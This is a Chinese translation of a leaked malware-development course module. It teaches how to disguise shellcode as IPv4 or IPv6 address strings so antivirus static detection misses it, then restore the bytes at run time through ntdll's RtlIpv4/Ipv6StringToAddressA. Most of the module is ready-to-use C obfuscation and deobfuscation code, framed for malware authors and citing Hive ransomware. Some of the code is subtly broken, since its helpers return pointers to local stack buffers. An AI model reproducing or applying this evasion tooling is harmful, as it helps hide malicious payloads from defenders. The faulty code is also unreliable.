模块 21 - Payload 混淆 - IPv4/IPv6Fuscation
恶意软件开发课程 - Payload 混淆 - IPv4/IPv6Fuscation
模块 21 - Payload 混淆 - IPv4/IPv6Fuscation#
[!IMPORTANT] 本知识库声明
本知识库由本人整理自互联网 MalDev Academy 泄露资源,并由本人手动翻译为中文,过程中增加了大量关键技术提示与实践心得。
- 内容完整性:并未修改任何核心代码与技术逻辑,仅做汉化与注释加强。
- 版权归属:原始知识产权归原作者/官方所有。
- 支持正版:本仓库仅供内部学习交流,如果您有经济能力,请务必支持正版课程。
- 权利申诉:如相关内容侵犯了您的权益,请联系我,我将立即核实并删除。
Payload 混淆 - IPv4/IPv6Fuscation#
简介#
在学习路径的这个阶段,你应该已经对 Payload 加密(Payload Encryption)有了基本的理解。本模块将探索另一种使用 Payload 混淆(Payload Obfuscation)来逃避静态检测的方法。
恶意软件开发者应该拥有多种工具来完成同一任务,以保持不可预测性。Payload 混淆可以被视为与 Payload 加密不同的”工具”,但两者最终都用于相同的目的。
通过学习本模块,你应该能够使用高级的 Payload 混淆技术,其中一些技术正在野外使用,例如在 Hive 勒索软件 ↗中。
[!IMPORTANT] 本模块及后续模块中显示的代码应在 Release 模式下编译。在 Debug 模式下编译将导致二进制文件无法正常工作。
💡 初学者提示
混淆 vs 加密有什么区别?
- 加密(Encryption): 使用密钥对数据进行数学变换,需要密钥才能解密。更安全但更复杂。
- 混淆(Obfuscation): 将数据转换成另一种表示形式(如 IP 地址格式),不需要密钥。更简单但可能更容易被识别。
可以这样类比:加密就像用密码锁锁住保险箱,混淆就像把钻石藏在看起来像普通石头的容器里。
什么是 IPv4/IPv6Fuscation#
IPv4/IPv6Fuscation 是一种混淆技术,其中 shellcode 的字节被转换为 IPv4 或 IPv6 字符串。让我们使用 Msfvenom x64 calc shellcode 的几个字节来分析它们如何被转换为 IPv4 或 IPv6 字符串。在本例中,使用以下字节:
FC 48 83 E4 F0 E8 C0 00 00 00 41 51 41 50 52 51
-
IPv4Fuscation - 由于 IPv4 地址由 4 个八位字节(octets)组成,IPv4Fuscation 使用 4 个字节来生成单个 IPv4 字符串,每个字节代表一个八位字节。取每个字节(当前为十六进制格式)并将其转换为十进制格式以获得一个八位字节。以上述字节为例,
FC在十进制中是 252,48是 72,83是 131,E4是 228。因此,示例 shellcode 的前 4 个字节FC 48 83 E4将变为252.72.131.228。 -
IPv6Fuscation - 这将使用与 IPv4Fuscation 示例类似的逻辑,但不是每个 IP 地址使用 4 个字节,而是使用 16 个字节来生成一个 IPv6 地址。此外,IPv6 地址不需要将字节转换为十进制。以示例 shellcode 为例,它将是
FC48:83E4:F0E8:C000:0000:4151:4150:5251。
📚 知识扩展:为什么使用 IP 地址格式混淆?
- 看起来无害: IP 地址在程序中很常见(用于网络连接),不会引起怀疑
- 绕过签名检测: 防病毒软件通常扫描已知的恶意字节序列,但 IP 地址格式的数据看起来完全不同
- 在内存中合法: Windows 提供了官方的 API 来处理 IP 地址字符串,使用这些 API 不会触发行为检测
- 实战案例: Hive 勒索软件使用这种技术成功逃避了多个安全产品的检测
IPv4Fuscation 实现#
现在逻辑已经解释清楚,本节将深入探讨 IPv4Fuscation 的实现。关于下面代码片段的几点说明:
- 如前所述,生成 IPv4 地址需要 4 个字节,因此 shellcode 必须是 4 的倍数。可以创建一个函数来填充 shellcode(如果它不满足该要求)。混淆模块中的填充问题将在即将到来的 HellShell 模块中解决。
GenerateIpv4是一个辅助函数,它接收 4 个 shellcode 字节并使用sprintf生成 IPv4 地址。- 最后,代码仅涵盖混淆,而去混淆将在模块后面解释。
// 函数接收 4 个原始字节并以 IPv4 字符串格式返回它们
char* GenerateIpv4(int a, int b, int c, int d) {
unsigned char Output [32];
// 创建 IPv4 地址并将其保存到 'Output' 变量
sprintf(Output, "%d.%d.%d.%d", a, b, c, d);
// 可选: 将 'Output' 变量打印到控制台
// printf("[i] Output: %s\n", Output);
return (char*)Output;
}
// 生成 shellcode 的 IPv4 输出表示
// 函数需要指向 shellcode 缓冲区的指针或基地址以及 shellcode 缓冲区的大小
BOOL GenerateIpv4Output(unsigned char* pShellcode, SIZE_T ShellcodeSize) {
// 如果 shellcode 缓冲区为 null 或大小不是 4 的倍数,则退出
if (pShellcode == NULL || ShellcodeSize == NULL || ShellcodeSize % 4 != 0){
return FALSE;
}
printf("char* Ipv4Array[%d] = { \n\t", (int)(ShellcodeSize / 4));
// 我们将一次读取一个 shellcode 字节,当总数为 4 时,开始生成 IPv4 地址
// 变量 'c' 用于存储读取的字节数。默认情况下,从 4 开始。
int c = 4, counter = 0;
char* IP = NULL;
for (int i = 0; i < ShellcodeSize; i++) {
// 跟踪读取的字节数,当它们达到 4 时,我们进入此 if 语句以开始生成 IPv4 地址
if (c == 4) {
counter++;
// 从 4 个字节生成 IPv4 地址,这些字节从 i 开始到 [i + 3]
IP = GenerateIpv4(pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3]);
if (i == ShellcodeSize - 4) {
// 打印最后一个 IPv4 地址
printf("\"%s\"", IP);
break;
}
else {
// 打印 IPv4 地址
printf("\"%s\", ", IP);
}
c = 1;
// 可选: 美化控制台上的输出
if (counter % 8 == 0) {
printf("\n\t");
}
}
else {
c++;
}
}
printf("\n};\n\n");
return TRUE;
}c💡 初学者提示:代码工作原理
想象你有一串数字:
[252, 72, 131, 228, 240, 232, ...]这个函数做的事情就是:
- 每次取 4 个数字
- 用点号(.)连接它们,形成像 “252.72.131.228” 这样的 IPv4 地址
- 继续处理下一组 4 个数字
就像把一串珠子,每 4 个串成一串,而不是散落一地!
IPv6Fuscation 实现#
使用 IPv6Fuscation 时,shellcode 应该是 16 的倍数。同样,可以创建一个函数来填充 shellcode(如果它不满足该要求)。
// 函数接收 16 个原始字节并以 IPv6 地址字符串格式返回它们
char* GenerateIpv6(int a, int b, int c, int d, int e, int f, int g, int h, int i, int j, int k, int l, int m, int n, int o, int p) {
// 每个 IPv6 段是 32 字节
char Output0[32], Output1[32], Output2[32], Output3[32];
// IPv6 中有 4 个段 (32 * 4 = 128)
char result[128];
// 使用前 4 个字节生成 output0
sprintf(Output0, "%0.2X%0.2X:%0.2X%0.2X", a, b, c, d);
// 使用第二组 4 个字节生成 output1
sprintf(Output1, "%0.2X%0.2X:%0.2X%0.2X", e, f, g, h);
// 使用第三组 4 个字节生成 output2
sprintf(Output2, "%0.2X%0.2X:%0.2X%0.2X", i, j, k, l);
// 使用最后 4 个字节生成 output3
sprintf(Output3, "%0.2X%0.2X:%0.2X%0.2X", m, n, o, p);
// 组合 Output0,1,2,3 以生成 IPv6 地址
sprintf(result, "%s:%s:%s:%s", Output0, Output1, Output2, Output3);
// 可选: 将 'result' 变量打印到控制台
// printf("[i] result: %s\n", (char*)result);
return (char*)result;
}
// 生成 shellcode 的 IPv6 输出表示
// 函数需要指向 shellcode 缓冲区的指针或基地址以及 shellcode 缓冲区的大小
BOOL GenerateIpv6Output(unsigned char* pShellcode, SIZE_T ShellcodeSize) {
// 如果 shellcode 缓冲区为 null 或大小不是 16 的倍数,则退出
if (pShellcode == NULL || ShellcodeSize == NULL || ShellcodeSize % 16 != 0){
return FALSE;
}
printf("char* Ipv6Array [%d] = { \n\t", (int)(ShellcodeSize / 16));
// 我们将一次读取一个 shellcode 字节,当总数为 16 时,开始生成 IPv6 地址
// 变量 'c' 用于存储读取的字节数。默认情况下,从 16 开始。
int c = 16, counter = 0;
char* IP = NULL;
for (int i = 0; i < ShellcodeSize; i++) {
// 跟踪读取的字节数,当它们达到 16 时,我们进入此 if 语句以开始生成 IPv6 地址
if (c == 16) {
counter++;
// 从 16 个字节生成 IPv6 地址,这些字节从 i 开始到 [i + 15]
IP = GenerateIpv6(
pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3],
pShellcode[i + 4], pShellcode[i + 5], pShellcode[i + 6], pShellcode[i + 7],
pShellcode[i + 8], pShellcode[i + 9], pShellcode[i + 10], pShellcode[i + 11],
pShellcode[i + 12], pShellcode[i + 13], pShellcode[i + 14], pShellcode[i + 15]
);
if (i == ShellcodeSize - 16) {
// 打印最后一个 IPv6 地址
printf("\"%s\"", IP);
break;
}
else {
// 打印 IPv6 地址
printf("\"%s\", ", IP);
}
c = 1;
// 可选: 美化控制台上的输出
if (counter % 3 == 0) {
printf("\n\t");
}
}
else {
c++;
}
}
printf("\n};\n\n");
return TRUE;
}
c💡 初学者提示:IPv4 vs IPv6
- IPv4: 每次处理 4 字节 → 生成更多 IP 地址 → 数组更长
- IPv6: 每次处理 16 字节 → 生成更少 IP 地址 → 数组更短
选择哪个?
- IPv6 数组更短,代码体积更小
- IPv4 看起来更”正常”,因为 IPv6 在实际应用中不太常见
- 两者安全性相同,选择取决于你的具体需求
IPv4/IPv6Fuscation 去混淆#
一旦混淆的 Payload 逃避了静态检测,就需要对其进行去混淆才能执行。去混淆过程将逆转混淆过程,允许 IP 地址生成字节,而不是使用字节生成 IP 地址。执行去混淆需要以下内容:
- IPv4 去混淆 - 这需要使用 NTAPI RtlIpv4StringToAddressA ↗。它将 IPv4 地址的字符串表示转换为二进制 IPv4 地址。
- IPv6 去混淆 - 与前一个函数类似,IPv6 去混淆将需要使用另一个 NTAPI RtlIpv6StringToAddressA ↗。此函数将 IPv6 地址转换为二进制 IPv6 地址。
📚 知识扩展:为什么用 Windows API 去混淆?
使用 Windows 官方 API(如
RtlIpv4StringToAddressA)有几个优势:
- 可信度高: 这些是系统合法函数,防病毒软件不会标记使用它们的行为
- 无需自己解析: IP 地址字符串转字节的逻辑已由 Windows 实现,代码更简洁
- 减少错误: 手动解析容易出错,使用系统 API 更可靠
- 隐蔽性: 很多正常程序都会调用这些函数处理网络配置,不会引起怀疑
去混淆 IPv4Fuscation Payload#
Ipv4Deobfuscation 函数将 Ipv4Array 作为第一个参数,这是一个 IPv4 地址数组。第二个参数是 NmbrOfElements,即 Ipv4Array 数组中 IPv4 地址的数量,用于循环遍历数组的大小。最后 2 个参数 ppDAddress 和 pDSize 将用于分别存储去混淆的 Payload 及其大小。
去混淆过程首先使用 GetProcAddress 和 GetModuleHandle 获取 RtlIpv4StringToAddressA 的地址。接下来,分配一个缓冲区,该缓冲区最终将存储大小为 NmbrOfElements * 4 的去混淆 Payload。这个大小背后的原因是每个 IPv4 将生成 4 个字节。
进入 for 循环,它首先定义一个新变量 TmpBuffer,并将其设置为等于 pBuffer。接下来,TmpBuffer 作为第四个参数传递给 RtlIpv4StringToAddressA,这是存储 IPv4 地址的二进制表示的位置。RtlIpv4StringToAddressA 函数将向 TmpBuffer 缓冲区写入 4 个字节,因此之后 TmpBuffer 递增 4,以允许写入下一个 4 个字节而不覆盖先前的字节。
最后,ppDAddress 和 pDSize 被设置为保存去混淆 Payload 的基地址及其大小。
// 定义 RtlIpv4StringToAddressA 函数指针类型
typedef NTSTATUS (NTAPI* fnRtlIpv4StringToAddressA)(
PCSTR S, // IPv4 字符串
BOOLEAN Strict, // 是否严格模式
PCSTR* Terminator, // 终止符位置
PVOID Addr // 输出的二进制地址
);
BOOL Ipv4Deobfuscation(IN CHAR* Ipv4Array[], IN SIZE_T NmbrOfElements, OUT PBYTE* ppDAddress, OUT SIZE_T* pDSize) {
PBYTE pBuffer = NULL,
TmpBuffer = NULL;
SIZE_T sBuffSize = NULL;
PCSTR Terminator = NULL;
NTSTATUS STATUS = NULL;
// 从 ntdll.dll 获取 RtlIpv4StringToAddressA 地址
fnRtlIpv4StringToAddressA pRtlIpv4StringToAddressA = (fnRtlIpv4StringToAddressA)GetProcAddress(GetModuleHandle(TEXT("NTDLL")), "RtlIpv4StringToAddressA");
if (pRtlIpv4StringToAddressA == NULL){
printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
return FALSE;
}
// 获取 shellcode 的真实大小,即 IPv4 地址数量 * 4
sBuffSize = NmbrOfElements * 4;
// 分配将保存去混淆 shellcode 的内存
pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), 0, sBuffSize);
if (pBuffer == NULL){
printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
return FALSE;
}
// 将 TmpBuffer 设置为等于 pBuffer
TmpBuffer = pBuffer;
// 循环遍历保存在 Ipv4Array 中的所有 IPv4 地址
for (int i = 0; i < NmbrOfElements; i++) {
// 一次去混淆一个 IPv4 地址
// Ipv4Array[i] 是数组 Ipv4Array 中的单个 ipv4 地址
if ((STATUS = pRtlIpv4StringToAddressA(Ipv4Array[i], FALSE, &Terminator, TmpBuffer)) != 0x0) {
// 如果失败
printf("[!] RtlIpv4StringToAddressA Failed At [%s] With Error 0x%0.8X", Ipv4Array[i], STATUS);
return FALSE;
}
// 每次向 TmpBuffer 写入 4 个字节
// 因此 Tmpbuffer 将递增 4 以存储即将到来的 4 个字节
TmpBuffer = (PBYTE)(TmpBuffer + 4);
}
// 保存去混淆 Payload 的基地址和大小
*ppDAddress = pBuffer;
*pDSize = sBuffSize;
return TRUE;
}c💡 初学者提示:去混淆过程详解
把去混淆想象成”拆包裹”的过程:
- 准备工具: 获取
RtlIpv4StringToAddressA函数(类比:找到拆包裹的工具)- 准备容器: 分配内存缓冲区(类比:准备一个盒子来装拆出来的东西)
- 逐个拆包: 循环处理每个 IPv4 地址
- 每个 “252.72.131.228” → 转回
[FC, 48, 83, E4]四个字节- 把这 4 字节放入缓冲区
- 移动指针,准备放下一组 4 字节
- 完成: 返回完整的原始 shellcode
下图显示去混淆过程成功运行。

去混淆 IPv6Fuscation Payload#
IPv6 去混淆过程中的所有内容都与 IPv4 相同,只有两个主要区别:
- 使用
RtlIpv6StringToAddressA而不是RtlIpv4StringToAddressA。 - 每个 IPv6 地址被去混淆为 16 个字节而不是 4 个字节。
// 定义 RtlIpv6StringToAddressA 函数指针类型
typedef NTSTATUS(NTAPI* fnRtlIpv6StringToAddressA)(
PCSTR S, // IPv6 字符串
PCSTR* Terminator, // 终止符位置
PVOID Addr // 输出的二进制地址
);
BOOL Ipv6Deobfuscation(IN CHAR* Ipv6Array[], IN SIZE_T NmbrOfElements, OUT PBYTE* ppDAddress, OUT SIZE_T* pDSize) {
PBYTE pBuffer = NULL,
TmpBuffer = NULL;
SIZE_T sBuffSize = NULL;
PCSTR Terminator = NULL;
NTSTATUS STATUS = NULL;
// 从 ntdll.dll 获取 RtlIpv6StringToAddressA 地址
fnRtlIpv6StringToAddressA pRtlIpv6StringToAddressA = (fnRtlIpv6StringToAddressA)GetProcAddress(GetModuleHandle(TEXT("NTDLL")), "RtlIpv6StringToAddressA");
if (pRtlIpv6StringToAddressA == NULL) {
printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
return FALSE;
}
// 获取 shellcode 的真实大小,即 IPv6 地址数量 * 16
sBuffSize = NmbrOfElements * 16;
// 分配将保存去混淆 shellcode 的内存
pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), 0, sBuffSize);
if (pBuffer == NULL) {
printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
return FALSE;
}
TmpBuffer = pBuffer;
// 循环遍历保存在 Ipv6Array 中的所有 IPv6 地址
for (int i = 0; i < NmbrOfElements; i++) {
// 一次去混淆一个 IPv6 地址
// Ipv6Array[i] 是数组 Ipv6Array 中的单个 IPv6 地址
if ((STATUS = pRtlIpv6StringToAddressA(Ipv6Array[i], &Terminator, TmpBuffer)) != 0x0) {
// 如果失败
printf("[!] RtlIpv6StringToAddressA Failed At [%s] With Error 0x%0.8X", Ipv6Array[i], STATUS);
return FALSE;
}
// 每次向 TmpBuffer 写入 16 个字节
// 因此 Tmpbuffer 将递增 16 以存储即将到来的 16 个字节
TmpBuffer = (PBYTE)(TmpBuffer + 16);
}
// 保存去混淆 Payload 的基地址和大小
*ppDAddress = pBuffer;
*pDSize = sBuffSize;
return TRUE;
}c下图显示去混淆过程成功运行。

🎯 总结#
在本模块中,我们学习了:
- IPv4/IPv6Fuscation 概念: 将 shellcode 字节转换为 IP 地址格式的混淆技术
- 混淆实现:
- IPv4: 每 4 字节生成一个 IPv4 地址
- IPv6: 每 16 字节生成一个 IPv6 地址
- 去混淆实现: 使用 Windows NTAPI 将 IP 地址字符串还原为原始字节序列
- 实战价值: 这种技术已在 Hive 勒索软件等真实攻击中使用
💡 关键要点
- 混淆不是加密,不提供加密级别的安全,但可以有效逃避签名检测
- 使用系统 API 进行去混淆增加了代码的隐蔽性
- Payload 大小必须满足特定要求(4 的倍数或 16 的倍数)
- 可以与加密技术结合使用以获得更强的防护
📚 下一步学习
在接下来的模块中,我们将学习其他混淆技术:
- MACFuscation: 使用 MAC 地址格式
- UUIDFuscation: 使用 UUID 格式
- HellShell 工具: 自动化这些混淆技术的工具